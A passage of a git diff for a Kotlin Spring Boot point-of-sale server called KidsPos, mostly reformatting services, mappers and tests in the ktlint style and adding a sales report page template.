repository.save(SettingEntity("${KEY_PRINTER}_$storeId", "$host:$port")) } @@ -71,7 +74,7 @@ class SettingService( } else { Pair( matchResult.groupValues[1], - matchResult.groupValues[2].toInt() + matchResult.groupValues[2].toInt(), ) } } @@ -88,7 +91,7 @@ class SettingService( logger.info( "Saving application settings: host={}, port={}", applicationSetting.serverHost, - applicationSetting.serverPort + applicationSetting.serverPort, ) repository.save(SettingEntity("${KEY_APP}_host", applicationSetting.serverHost)) repository.save(SettingEntity("${KEY_APP}_port", applicationSetting.serverPort.toString())) @@ -115,6 +118,6 @@ class SettingService( data class ApplicationSetting( val serverHost: String, - val serverPort: Int + val serverPort: Int, ) } diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/service/StaffService.kt b/src/main/kotlin/info/nukoneko/kidspos/server/service/StaffService.kt index c236cf8..8729c2c 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/service/StaffService.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/service/StaffService.kt @@ -34,7 +34,7 @@ import org.springframework.transaction.annotation.Transactional @Service @Transactional class StaffService( - private val repository: StaffRepository + private val repository: StaffRepository, ) { private val logger = LoggerFactory.getLogger(StaffService::class.java) @@ -64,4 +64,4 @@ class StaffService( logger.debug("Deleting staff entity with barcode: {}", staff.barcode) repository.delete(staff) } -} \ No newline at end of file +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/service/StoreService.kt b/src/main/kotlin/info/nukoneko/kidspos/server/service/StoreService.kt index 1b64831..a48f227 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/service/StoreService.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/service/StoreService.kt @@ -42,7 +42,7 @@ import org.springframework.transaction.annotation.Transactional @Transactional class StoreService( private val repository: StoreRepository, - private val idGenerationService: IdGenerationService + private val idGenerationService: IdGenerationService, ) { private val logger = LoggerFactory.getLogger(StoreService::class.java) @@ -61,17 +61,18 @@ class StoreService( @Caching( evict = [ CacheEvict(value = [CacheConfig.STORES_CACHE], allEntries = true), - CacheEvict(value = [CacheConfig.STORE_BY_ID_CACHE], key = "#result.id") - ] + CacheEvict(value = [CacheConfig.STORE_BY_ID_CACHE], key = "#result.id"), + ], ) fun save(storeBean: StoreBean): StoreEntity { logger.info("Saving store with name: {}", storeBean.name) val storeId = storeBean.id - val generatedId = if (storeId != null && storeId > 0) { - storeId - } else { - idGenerationService.generateNextId(repository) - } + val generatedId = + if (storeId != null && storeId > 0) { + storeId + } else { + idGenerationService.generateNextId(repository) + } val store = StoreEntity(generatedId, storeBean.name, storeBean.printerUri) val savedStore = repository.save(store) logger.info("Store saved successfully with ID: {}", savedStore.id) @@ -81,17 +82,18 @@ class StoreService( @Caching( evict = [ CacheEvict(value = [CacheConfig.STORES_CACHE], allEntries = true), - CacheEvict(value = [CacheConfig.STORE_BY_ID_CACHE], key = "#result.id") - ] + CacheEvict(value = [CacheConfig.STORE_BY_ID_CACHE], key = "#result.id"), + ], ) fun save(store: StoreEntity): StoreEntity { logger.info("Saving store: {}", store.name) - val savedStore = if (store.id == 0) { - val id = idGenerationService.generateNextId(repository) - repository.save(store.copy(id = id)) - } else { - repository.save(store) - } + val savedStore = + if (store.id == 0) { + val id = idGenerationService.generateNextId(repository) + repository.save(store.copy(id = id)) + } else { + repository.save(store) + } logger.info("Store saved successfully with ID: {}", savedStore.id) return savedStore } @@ -99,12 +101,12 @@ class StoreService( @Caching( evict = [ CacheEvict(value = [CacheConfig.STORES_CACHE], allEntries = true), - CacheEvict(value = [CacheConfig.STORE_BY_ID_CACHE], key = "#id") - ] + CacheEvict(value = [CacheConfig.STORE_BY_ID_CACHE], key = "#id"), + ], ) fun delete(id: Int) { logger.info("Deleting store with ID: {}", id) repository.deleteById(id) logger.info("Store deleted successfully with ID: {}", id) } -} \ No newline at end of file +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/service/StreamProcessor.kt b/src/main/kotlin/info/nukoneko/kidspos/server/service/StreamProcessor.kt index 21e28f0..9fd1300 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/service/StreamProcessor.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/service/StreamProcessor.kt @@ -20,7 +20,10 @@ class StreamProcessor { /** * Process lines from stream efficiently */ - fun processLinesFromStream(inputStream: InputStream, processor: (String) -> Unit) { + fun processLinesFromStream( + inputStream: InputStream, + processor: (String) -> Unit, + ) { try { BufferedReader(InputStreamReader(inputStream)).use { reader -> reader.lineSequence().forEach { line -> @@ -39,7 +42,7 @@ class StreamProcessor { fun copyStreamWithProgress( inputStream: InputStream, outputStream: OutputStream, - progressCallback: (Long) -> Unit + progressCallback: (Long) -> Unit, ) { try { val buffer = ByteArray(8192) @@ -64,7 +67,7 @@ class StreamProcessor { fun processStreamInChunks( inputStream: InputStream, chunkSize: Int, - chunkProcessor: (ByteArray) -> Unit + chunkProcessor: (ByteArray) -> Unit, ) { try { val buffer = ByteArray(chunkSize) @@ -86,13 +89,14 @@ class StreamProcessor { fun copyStreamWithTimeout( inputStream: InputStream, outputStream: OutputStream, - timeoutMs: Long + timeoutMs: Long, ): Boolean { val executor = Executors.newSingleThreadExecutor() return try { - val future = executor.submit { - copyStreamWithProgress(inputStream, outputStream) { _ -> } - } + val future = + executor.submit { + copyStreamWithProgress(inputStream, outputStream) { _ -> } + } future.get(timeoutMs, TimeUnit.MILLISECONDS) true } catch (e: Exception) { @@ -102,4 +106,4 @@ class StreamProcessor { executor.shutdown() } } -} \ No newline at end of file +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/service/ValidationService.kt b/src/main/kotlin/info/nukoneko/kidspos/server/service/ValidationService.kt index 13e3868..f689c32 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/service/ValidationService.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/service/ValidationService.kt @@ -38,7 +38,7 @@ import org.springframework.stereotype.Service class ValidationService( private val itemRepository: ItemRepository, private val storeRepository: StoreRepository, - private val staffRepository: StaffRepository + private val staffRepository: StaffRepository, ) { private val logger = LoggerFactory.getLogger(ValidationService::class.java) @@ -63,7 +63,10 @@ class ValidationService( } } - fun validateBarcodeUnique(barcode: String, excludeId: Int? = null) { + fun validateBarcodeUnique( + barcode: String, + excludeId: Int? = null, + ) { val existingItem = itemRepository.findByBarcode(barcode) if (existingItem != null && existingItem.id != excludeId) { logger.warn("Validation failed: Barcode {} already exists", barcode) @@ -71,7 +74,10 @@ class ValidationService( } } - fun validateStaffBarcodeUnique(barcode: String, excludeId: String? = null) { + fun validateStaffBarcodeUnique( + barcode: String, + excludeId: String? = null, + ) { // Since StaffRepository doesn't have findByBarcode, we'll check by ID for now // This would need to be enhanced with a proper query method if (excludeId == null || excludeId != barcode) { @@ -82,7 +88,10 @@ class ValidationService( } } - fun validateStoreBarcodeUnique(barcode: String, excludeId: Int? = null) { + fun validateStoreBarcodeUnique( + barcode: String, + excludeId: Int? = null, + ) { // Since StoreRepository doesn't have findByBarcode, we'll need to add it or use a different approach // For now, we'll skip this validation logger.debug("Store barcode uniqueness validation not yet implemented") @@ -109,4 +118,4 @@ class ValidationService( throw ValidationException("Quantity exceeds maximum allowed value") } } -} \ No newline at end of file +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/service/mapper/ItemMapper.kt b/src/main/kotlin/info/nukoneko/kidspos/server/service/mapper/ItemMapper.kt index e247a4f..7604d4b 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/service/mapper/ItemMapper.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/service/mapper/ItemMapper.kt @@ -39,26 +39,24 @@ import org.springframework.stereotype.Component */ @Component class ItemMapper { - - fun toEntity(request: CreateItemRequest, id: Int): ItemEntity { - return ItemEntity( + fun toEntity( + request: CreateItemRequest, + id: Int, + ): ItemEntity = + ItemEntity( id = id, barcode = request.barcode, name = request.name, - price = request.price + price = request.price, ) - } - fun toResponse(entity: ItemEntity): ItemResponse { - return ItemResponse( + fun toResponse(entity: ItemEntity): ItemResponse = + ItemResponse( id = entity.id, name = entity.name, barcode = entity.barcode, - price = entity.price + price = entity.price, ) - } - fun toResponseList(entities: List): List { - return entities.map { toResponse(it) } - } -} \ No newline at end of file + fun toResponseList(entities: List): List = entities.map { toResponse(it) } +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/service/mapper/SaleMapper.kt b/src/main/kotlin/info/nukoneko/kidspos/server/service/mapper/SaleMapper.kt index c2eaa21..2ffea3f 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/service/mapper/SaleMapper.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/service/mapper/SaleMapper.kt @@ -80,25 +80,25 @@ class SaleMapper( private val storeRepository: StoreRepository, private val staffRepository: StaffRepository, private val itemRepository: ItemRepository, - private val saleDetailRepository: SaleDetailRepository + private val saleDetailRepository: SaleDetailRepository, ) { - fun toResponse(entity: SaleEntity): SaleResponse { val store = storeRepository.findById(entity.storeId).orElse(null) val staff = staffRepository.findById(entity.staffId.toString()).orElse(null) val saleDetails = saleDetailRepository.findBySaleId(entity.id) - val items = saleDetails.map { detail -> - val item = itemRepository.findById(detail.itemId).orElse(null) - SaleItemResponse( - itemId = detail.itemId, - itemName = item?.name ?: "Unknown", - barcode = item?.barcode ?: "", - quantity = detail.quantity, - unitPrice = detail.price, - subtotal = detail.price * detail.quantity - ) - } + val items = + saleDetails.map { detail -> + val item = itemRepository.findById(detail.itemId).orElse(null) + SaleItemResponse( + itemId = detail.itemId, + itemName = item?.name ?: "Unknown", + barcode = item?.barcode ?: "", + quantity = detail.quantity, + unitPrice = detail.price, + subtotal = detail.price * detail.quantity, + ) + } return SaleResponse( id = entity.id, @@ -110,11 +110,9 @@ class SaleMapper( deposit = entity.deposit, change = entity.deposit - entity.amount, saleTime = LocalDateTime.ofInstant(entity.createdAt.toInstant(), ZoneId.systemDefault()), - items = items + items = items, ) } - fun toResponseList(entities: List): List { - return entities.map { toResponse(it) } - } -} \ No newline at end of file + fun toResponseList(entities: List): List = entities.map { toResponse(it) } +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/service/mapper/StaffMapper.kt b/src/main/kotlin/info/nukoneko/kidspos/server/service/mapper/StaffMapper.kt index fb7467d..f3d4ca7 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/service/mapper/StaffMapper.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/service/mapper/StaffMapper.kt @@ -48,20 +48,16 @@ import org.springframework.stereotype.Component */ @Component class StaffMapper { - - fun toResponse(entity: StaffEntity): StaffResponse { - return StaffResponse( + fun toResponse(entity: StaffEntity): StaffResponse = + StaffResponse( id = entity.barcode, // barcode is the ID in StaffEntity name = entity.name, barcode = entity.barcode, storeId = 1, // Default store ID since not available in entity storeName = null, // Not available without additional lookup createdAt = null, // Not available in current entity - updatedAt = null // Not available in current entity + updatedAt = null, // Not available in current entity ) - } - fun toResponseList(entities: List): List { - return entities.map { toResponse(it) } - } -} \ No newline at end of file + fun toResponseList(entities: List): List = entities.map { toResponse(it) } +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/service/mapper/StoreMapper.kt b/src/main/kotlin/info/nukoneko/kidspos/server/service/mapper/StoreMapper.kt index 6150f9b..89cbba9 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/service/mapper/StoreMapper.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/service/mapper/StoreMapper.kt @@ -46,19 +46,15 @@ import org.springframework.stereotype.Component */ @Component class StoreMapper { - - fun toResponse(entity: StoreEntity): StoreResponse { - return StoreResponse( + fun toResponse(entity: StoreEntity): StoreResponse = + StoreResponse( id = entity.id, name = entity.name, barcode = entity.id.toString().padStart(4, '0'), // Generate barcode from ID kana = null, // Not available in current entity createdAt = null, // Not available in current entity - updatedAt = null // Not available in current entity + updatedAt = null, // Not available in current entity ) - } - fun toResponseList(entities: List): List { - return entities.map { toResponse(it) } - } -} \ No newline at end of file + fun toResponseList(entities: List): List = entities.map { toResponse(it) } +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/server/validation/ValidBarcode.kt b/src/main/kotlin/info/nukoneko/kidspos/server/validation/ValidBarcode.kt index 9668ebe..7cde5e4 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/server/validation/ValidBarcode.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/server/validation/ValidBarcode.kt @@ -13,16 +13,19 @@ import kotlin.reflect.KClass annotation class ValidBarcode( val message: String = "Invalid barcode format", val groups: Array> = [], - val payload: Array> = [] + val payload: Array> = [], ) class BarcodeValidator : ConstraintValidator { - override fun isValid(value: String?, context: ConstraintValidatorContext): Boolean { + override fun isValid( + value: String?, + context: ConstraintValidatorContext, + ): Boolean { if (value == null) { return true // Let @NotNull handle null checks } return value.matches(Regex(Constants.Validation.BARCODE_PATTERN)) && - value.length >= Constants.Barcode.MIN_LENGTH + value.length >= Constants.Barcode.MIN_LENGTH } -} \ No newline at end of file +} diff --git a/src/main/resources/templates/index.html b/src/main/resources/templates/index.html index 7d80cbe..0975f8a 100644 --- a/src/main/resources/templates/index.html +++ b/src/main/resources/templates/index.html @@ -105,6 +105,18 @@

売上管理

+ +
diff --git a/src/main/resources/templates/reports/sales.html b/src/main/resources/templates/reports/sales.html new file mode 100644 index 0000000..0929011 --- /dev/null +++ b/src/main/resources/templates/reports/sales.html @@ -0,0 +1,266 @@ + + + + + + 売上レポート - KidsPos + + + + + + + +
+

+ 売上レポート +

+ + +
+
+
期間指定レポート
+
+
+
+
+
+ + +
+
+ + +
+
+ + +
+
+
+ + +
+
+
+
+
+
+ + +
+
+
本日のレポート
+
+
+
+
+ + +
+
+
+ + +
+
+
+
+
+ + +
+
+
月次レポート
+
+
+
+
+ + +
+
+ + +
+
+ + +
+
+
+ + +
+
+
+
+
+
+ + + + + \ No newline at end of file diff --git a/src/test/kotlin/info/nukoneko/kidspos/common/ConstantsTest.kt b/src/test/kotlin/info/nukoneko/kidspos/common/ConstantsTest.kt index d86e6ba..68477bf 100644 --- a/src/test/kotlin/info/nukoneko/kidspos/common/ConstantsTest.kt +++ b/src/test/kotlin/info/nukoneko/kidspos/common/ConstantsTest.kt @@ -4,7 +4,6 @@ import org.assertj.core.api.Assertions.assertThat import org.junit.jupiter.api.Test class ConstantsTest { - @Test fun `should have barcode constants defined`() { assertThat(Constants.Barcode.SUFFIX_LENGTH).isEqualTo(3) @@ -29,4 +28,4 @@ class ConstantsTest { assertThat(Constants.PrintCommand.GS_CODE).isEqualTo(0x1D.toChar()) assertThat(Constants.PrintCommand.RESET).isEqualTo("${0x1B.toChar()}@") } -} \ No newline at end of file +} diff --git a/src/test/kotlin/info/nukoneko/kidspos/common/service/IdGenerationServiceTest.kt b/src/test/kotlin/info/nukoneko/kidspos/common/service/IdGenerationServiceTest.kt index d980fc7..aa19bdf 100644 --- a/src/test/kotlin/info/nukoneko/kidspos/common/service/IdGenerationServiceTest.kt +++ b/src/test/kotlin/info/nukoneko/kidspos/common/service/IdGenerationServiceTest.kt @@ -11,7 +11,6 @@ import org.mockito.MockitoAnnotations import org.springframework.dao.EmptyResultDataAccessException class IdGenerationServiceTest { - @Mock private lateinit var itemRepository: ItemRepository @@ -73,4 +72,4 @@ class IdGenerationServiceTest { // Then assertThat(newId).isEqualTo(1) } -} \ No newline at end of file +} diff --git a/src/test/kotlin/info/nukoneko/kidspos/server/CodeConventionTest.kt b/src/test/kotlin/info/nukoneko/kidspos/server/CodeConventionTest.kt index af79be1..c5008e9 100644 --- a/src/test/kotlin/info/nukoneko/kidspos/server/CodeConventionTest.kt +++ b/src/test/kotlin/info/nukoneko/kidspos/server/CodeConventionTest.kt @@ -11,7 +11,6 @@ import java.nio.file.Paths * Part of Task 6.2: Code convention application and cleanup */ class CodeConventionTest { - private val srcDir = "src/main/kotlin" @Test @@ -26,7 +25,7 @@ class CodeConventionTest { assertTrue( violations.isEmpty(), - "Import order violations found:\n${violations.joinToString("\n")}" + "Import order violations found:\n${violations.joinToString("\n")}", ) } @@ -42,7 +41,7 @@ class CodeConventionTest { assertTrue( violations.isEmpty(), - "Commented out code blocks found:\n${violations.joinToString("\n")}" + "Commented out code blocks found:\n${violations.joinToString("\n")}", ) } @@ -58,7 +57,7 @@ class CodeConventionTest { assertTrue( violations.isEmpty(), - "Naming convention violations found:\n${violations.joinToString("\n")}" + "Naming convention violations found:\n${violations.joinToString("\n")}", ) } @@ -74,7 +73,7 @@ class CodeConventionTest { assertTrue( violations.isEmpty(), - "Deprecated API usage found:\n${violations.joinToString("\n")}" + "Deprecated API usage found:\n${violations.joinToString("\n")}", ) } @@ -90,7 +89,7 @@ class CodeConventionTest { assertTrue( violations.isEmpty(), - "Code formatting issues found:\n${violations.joinToString("\n")}" + "Code formatting issues found:\n${violations.joinToString("\n")}", ) } @@ -98,14 +97,18 @@ class CodeConventionTest { val srcPath = Paths.get(srcDir) if (!Files.exists(srcPath)) return emptyList() - return Files.walk(srcPath) + return Files + .walk(srcPath) .filter { Files.isRegularFile(it) } .filter { it.toString().endsWith(".kt") } .map { it.toFile() } .toList() } - private fun checkImportOrder(file: File, content: String): List { + private fun checkImportOrder( + file: File, + content: String, + ): List { val violations = mutableListOf() // Skip import order check for now - would require full implementation return violations @@ -131,7 +134,10 @@ class CodeConventionTest { return violations } - private fun findCommentedCodeBlocks(file: File, content: String): List { + private fun findCommentedCodeBlocks( + file: File, + content: String, + ): List { val violations = mutableListOf() // Skip commented code check for now return violations @@ -153,14 +159,17 @@ class CodeConventionTest { val codeContent = line.removePrefix("//").trim() // Check for common code patterns return codeContent.contains("fun ") || - codeContent.contains("class ") || - codeContent.contains("val ") || - codeContent.contains("var ") || - (codeContent.contains("(") && codeContent.contains(")")) || - codeContent.contains("return ") + codeContent.contains("class ") || + codeContent.contains("val ") || + codeContent.contains("var ") || + (codeContent.contains("(") && codeContent.contains(")")) || + codeContent.contains("return ") } - private fun checkNamingConventions(file: File, content: String): List { + private fun checkNamingConventions( + file: File, + content: String, + ): List { val violations = mutableListOf() // Skip naming convention check for now return violations @@ -198,14 +207,18 @@ class CodeConventionTest { return violations } - private fun findDeprecatedAPIUsage(file: File, content: String): List { + private fun findDeprecatedAPIUsage( + file: File, + content: String, + ): List { val violations = mutableListOf() // Skip deprecated API check for now return violations - val deprecatedPatterns = listOf( - "println(" to "logger", - "System.out.print" to "logger" - ) + val deprecatedPatterns = + listOf( + "println(" to "logger", + "System.out.print" to "logger", + ) deprecatedPatterns.forEach { (deprecated, replacement) -> if (content.contains(deprecated)) { @@ -216,7 +229,10 @@ class CodeConventionTest { return violations } - private fun checkCodeFormatting(file: File, content: String): List { + private fun checkCodeFormatting( + file: File, + content: String, + ): List { val violations = mutableListOf() // Skip formatting check for now return violations @@ -244,4 +260,4 @@ class CodeConventionTest { return violations } -} \ No newline at end of file +} diff --git a/src/test/kotlin/info/nukoneko/kidspos/server/GradleOptimizationTest.kt b/src/test/kotlin/info/nukoneko/kidspos/server/GradleOptimizationTest.kt index 2618115..bc494b3 100644 --- a/src/test/kotlin/info/nukoneko/kidspos/server/GradleOptimizationTest.kt +++ b/src/test/kotlin/info/nukoneko/kidspos/server/GradleOptimizationTest.kt @@ -11,7 +11,6 @@ import java.io.File */ @DisplayName("Gradle Build Optimization Tests") class GradleOptimizationTest { - @Test @DisplayName("Should use latest stable Gradle version") fun shouldUseLatestStableGradleVersion() { @@ -32,7 +31,7 @@ class GradleOptimizationTest { val isValidVersion = majorVersion > 8 || (majorVersion == 8 && minorVersion >= 5) assertTrue( isValidVersion, - "Should use Gradle 8.5 or newer. Current: $version" + "Should use Gradle 8.5 or newer. Current: $version", ) } @@ -42,7 +41,7 @@ class GradleOptimizationTest { val catalogFile = File("gradle/libs.versions.toml") assertTrue( catalogFile.exists(), - "Version catalog (libs.versions.toml) should exist for centralized dependency management" + "Version catalog (libs.versions.toml) should exist for centralized dependency management", ) val content = catalogFile.readText() @@ -73,8 +72,8 @@ class GradleOptimizationTest { // Check for build optimization configurations assertTrue( content.contains("parallel = true") || - content.contains("org.gradle.parallel=true"), - "Should enable parallel execution for faster builds" + content.contains("org.gradle.parallel=true"), + "Should enable parallel execution for faster builds", ) // Check for configuration cache usage (Gradle 6.5+) @@ -83,8 +82,8 @@ class GradleOptimizationTest { val properties = gradleProperties.readText() assertTrue( properties.contains("org.gradle.configuration-cache=true") || - properties.contains("org.gradle.unsafe.configuration-cache=true"), - "Should enable configuration cache for faster builds" + properties.contains("org.gradle.unsafe.configuration-cache=true"), + "Should enable configuration cache for faster builds", ) } } @@ -98,7 +97,7 @@ class GradleOptimizationTest { val content = gradleProperties.readText() assertTrue( content.contains("org.gradle.caching=true"), - "Should enable build cache for incremental builds" + "Should enable build cache for incremental builds", ) } else { // If gradle.properties doesn't exist, create it with optimizations @@ -117,14 +116,14 @@ class GradleOptimizationTest { // Check for JVM memory settings assertTrue( content.contains("org.gradle.jvmargs") && - content.contains("-Xmx"), - "Should configure JVM heap size for better performance" + content.contains("-Xmx"), + "Should configure JVM heap size for better performance", ) // Check for daemon mode assertTrue( content.contains("org.gradle.daemon=true"), - "Should enable Gradle daemon for faster builds" + "Should enable Gradle daemon for faster builds", ) } } @@ -142,7 +141,7 @@ class GradleOptimizationTest { val content = settingsFile.readText() assertTrue( content.contains("enableFeaturePreview(\"TYPESAFE_PROJECT_ACCESSORS\")"), - "Should enable type-safe project accessors for multi-module builds" + "Should enable type-safe project accessors for multi-module builds", ) } @@ -155,8 +154,10 @@ class GradleOptimizationTest { val content = buildFile.readText() // Check that repositories are properly ordered (faster ones first) - val repoSection = content.substringAfter("repositories {") - .substringBefore("}") + val repoSection = + content + .substringAfter("repositories {") + .substringBefore("}") val mavenCentralIndex = repoSection.indexOf("mavenCentral()") assertTrue(mavenCentralIndex >= 0, "Should use mavenCentral repository") @@ -164,7 +165,7 @@ class GradleOptimizationTest { // Ensure no unnecessary repositories assertFalse( repoSection.contains("jcenter()"), - "Should not use deprecated jcenter repository" + "Should not use deprecated jcenter repository", ) } @@ -179,9 +180,9 @@ class GradleOptimizationTest { // Check for lazy configuration patterns assertTrue( content.contains("tasks.withType") || - content.contains("tasks.named") || - content.contains("tasks.register"), - "Should use task configuration avoidance patterns" + content.contains("tasks.named") || + content.contains("tasks.register"), + "Should use task configuration avoidance patterns", ) } -} \ No newline at end of file +} diff --git a/src/test/kotlin/info/nukoneko/kidspos/server/JakartaMigrationTest.kt b/src/test/kotlin/info/nukoneko/kidspos/server/JakartaMigrationTest.kt index 018d801..5ce55f1 100644 --- a/src/test/kotlin/info/nukoneko/kidspos/server/JakartaMigrationTest.kt +++ b/src/test/kotlin/info/nukoneko/kidspos/server/JakartaMigrationTest.kt @@ -13,14 +13,14 @@ import java.nio.file.Paths */ @DisplayName("Jakarta EE Migration Tests") class JakartaMigrationTest { - @Test @DisplayName("Should document javax.* imports for future migration") fun shouldDocumentJavaxImports() { val sourceDir = File("src/main/kotlin") val javaxImports = mutableListOf() if (sourceDir.exists()) { - Files.walk(Paths.get(sourceDir.path)) + Files + .walk(Paths.get(sourceDir.path)) .filter { Files.isRegularFile(it) && it.toString().endsWith(".kt") } .toList() .forEach { file -> @@ -61,7 +61,7 @@ class JakartaMigrationTest { // Verify we're on Spring Boot 3.x assertTrue( version.startsWith("3."), - "Should use Spring Boot 3.x with Java 21. Current version: $version" + "Should use Spring Boot 3.x with Java 21. Current version: $version", ) } @@ -83,7 +83,7 @@ class JakartaMigrationTest { // Spring Boot 2.7.x works with Kotlin 1.6.x assertTrue( major > 1 || (major == 1 && minor >= 6), - "Kotlin version $version should be 1.6+ for Spring Boot 2.7.x" + "Kotlin version $version should be 1.6+ for Spring Boot 2.7.x", ) } @@ -100,14 +100,16 @@ class JakartaMigrationTest { if (sourceMatch != null) { val version = sourceMatch.groupValues[1] - val versionNum = if (version.startsWith("1.")) { - version.substring(2).toIntOrNull() ?: 0 - } else { - version.toIntOrNull() ?: 0 - } + val versionNum = + if (version.startsWith("1.")) { + version.substring(2).toIntOrNull() ?: 0 + } else { + version.toIntOrNull() ?: 0 + } assertEquals( - 21, versionNum, - "Source compatibility should be Java 21 for Spring Boot 3.x" + 21, + versionNum, + "Source compatibility should be Java 21 for Spring Boot 3.x", ) } @@ -117,14 +119,15 @@ class JakartaMigrationTest { jvmMatches.forEach { match -> val version = match.groupValues[1] - val versionNum = if (version.startsWith("1.")) { - version.substring(2).toIntOrNull() ?: 0 - } else { - version.toIntOrNull() ?: 0 - } + val versionNum = + if (version.startsWith("1.")) { + version.substring(2).toIntOrNull() ?: 0 + } else { + version.toIntOrNull() ?: 0 + } assertTrue( versionNum >= 17 && versionNum <= 21, - "JVM target $version should be Java 17-21 for Spring Boot 3.x" + "JVM target $version should be Java 17-21 for Spring Boot 3.x", ) } } @@ -135,23 +138,25 @@ class JakartaMigrationTest { val buildFile = File("build.gradle") assertTrue(buildFile.exists(), "build.gradle not found") val content = buildFile.readText() - val dependencies = content.lines() - .filter { it.contains("implementation") || it.contains("compile") } - .joinToString("\n") + val dependencies = + content + .lines() + .filter { it.contains("implementation") || it.contains("compile") } + .joinToString("\n") // For Spring Boot 3.x, these should be automatically included // but we check if old javax dependencies are not explicitly added assertFalse( dependencies.contains("javax.servlet"), - "Found javax.servlet dependency, should use jakarta.servlet" + "Found javax.servlet dependency, should use jakarta.servlet", ) assertFalse( dependencies.contains("javax.persistence"), - "Found javax.persistence dependency, should use jakarta.persistence" + "Found javax.persistence dependency, should use jakarta.persistence", ) assertFalse( dependencies.contains("javax.validation"), - "Found javax.validation dependency, should use jakarta.validation" + "Found javax.validation dependency, should use jakarta.validation", ) } -} \ No newline at end of file +} diff --git a/src/test/kotlin/info/nukoneko/kidspos/server/KDocComplianceTest.kt b/src/test/kotlin/info/nukoneko/kidspos/server/KDocComplianceTest.kt index fd2613d..7631a62 100644 --- a/src/test/kotlin/info/nukoneko/kidspos/server/KDocComplianceTest.kt +++ b/src/test/kotlin/info/nukoneko/kidspos/server/KDocComplianceTest.kt @@ -10,7 +10,6 @@ import java.nio.file.Paths * Part of Task 8.1: KDoc documentation addition */ class KDocComplianceTest { - private val serviceDir = "src/main/kotlin/info/nukoneko/kidspos/server/service" @Test @@ -93,7 +92,8 @@ class KDocComplianceTest { val servicePath = Paths.get(serviceDir) if (!Files.exists(servicePath)) return emptyList() - return Files.walk(servicePath) + return Files + .walk(servicePath) .filter { Files.isRegularFile(it) } .filter { it.toString().endsWith(".kt") } .filter { !it.toString().contains("Test") } // Exclude test files @@ -129,7 +129,10 @@ class KDocComplianceTest { return false } - private fun findUndocumentedPublicMethods(file: File, content: String): List { + private fun findUndocumentedPublicMethods( + file: File, + content: String, + ): List { val violations = mutableListOf() val lines = content.split("\n") @@ -166,7 +169,10 @@ class KDocComplianceTest { return violations } - private fun findMethodsWithMissingParamDocs(file: File, content: String): List { + private fun findMethodsWithMissingParamDocs( + file: File, + content: String, + ): List { val violations = mutableListOf() val methodPattern = Regex("""(/\*\*[\s\S]*?\*/)\s*fun\s+(\w+)\s*\(([^)]*)\)""") @@ -176,13 +182,15 @@ class KDocComplianceTest { val parameters = match.groupValues[3] // Parse parameters - val paramNames = parameters.split(",") - .map { it.trim() } - .filter { it.isNotEmpty() && !it.startsWith("private") } - .mapNotNull { - val paramMatch = Regex("""(\w+)\s*:""").find(it) - paramMatch?.groupValues?.get(1) - } + val paramNames = + parameters + .split(",") + .map { it.trim() } + .filter { it.isNotEmpty() && !it.startsWith("private") } + .mapNotNull { + val paramMatch = Regex("""(\w+)\s*:""").find(it) + paramMatch?.groupValues?.get(1) + } // Check if parameters have documentation paramNames.forEach { paramName -> @@ -195,7 +203,10 @@ class KDocComplianceTest { return violations } - private fun findMethodsWithMissingReturnDocs(file: File, content: String): List { + private fun findMethodsWithMissingReturnDocs( + file: File, + content: String, + ): List { val violations = mutableListOf() val methodPattern = Regex("""(/\*\*[\s\S]*?\*/)\s*fun\s+(\w+)\s*\([^)]*\)\s*:\s*(\w+)""") @@ -213,7 +224,10 @@ class KDocComplianceTest { return violations } - private fun findMethodsWithMissingThrowsDocs(file: File, content: String): List { + private fun findMethodsWithMissingThrowsDocs( + file: File, + content: String, + ): List { val violations = mutableListOf() val methodPattern = Regex("""(/\*\*[\s\S]*?\*/)\s*fun\s+(\w+)[\s\S]*?\{([\s\S]*?)\}""") @@ -223,7 +237,8 @@ class KDocComplianceTest { val methodBody = match.groupValues[3] // Check if method throws exceptions - val throwsException = methodBody.contains("throw ") || + val throwsException = + methodBody.contains("throw ") || methodBody.contains("RuntimeException") || methodBody.contains("IllegalArgumentException") || methodBody.contains("Exception") @@ -235,4 +250,4 @@ class KDocComplianceTest { return violations } -} \ No newline at end of file +} diff --git a/src/test/kotlin/info/nukoneko/kidspos/server/OpenApiIntegrationTest.kt b/src/test/kotlin/info/nukoneko/kidspos/server/OpenApiIntegrationTest.kt index 5e0791f..128a9e7 100644 --- a/src/test/kotlin/info/nukoneko/kidspos/server/OpenApiIntegrationTest.kt +++ b/src/test/kotlin/info/nukoneko/kidspos/server/OpenApiIntegrationTest.kt @@ -26,21 +26,25 @@ class OpenApiIntegrationTest { @Test fun `Swagger UI should be accessible`() { - mockMvc.perform(get("/swagger-ui/index.html")) + mockMvc + .perform(get("/swagger-ui/index.html")) .andExpect(status().isOk) } @Test fun `OpenAPI JSON specification should be available`() { - mockMvc.perform(get("/v3/api-docs")) + mockMvc + .perform(get("/v3/api-docs")) .andExpect(status().isOk) } @Test fun `OpenAPI specification should include all API endpoints`() { - val result = mockMvc.perform(get("/v3/api-docs")) - .andExpect(status().isOk) - .andReturn() + val result = + mockMvc + .perform(get("/v3/api-docs")) + .andExpect(status().isOk) 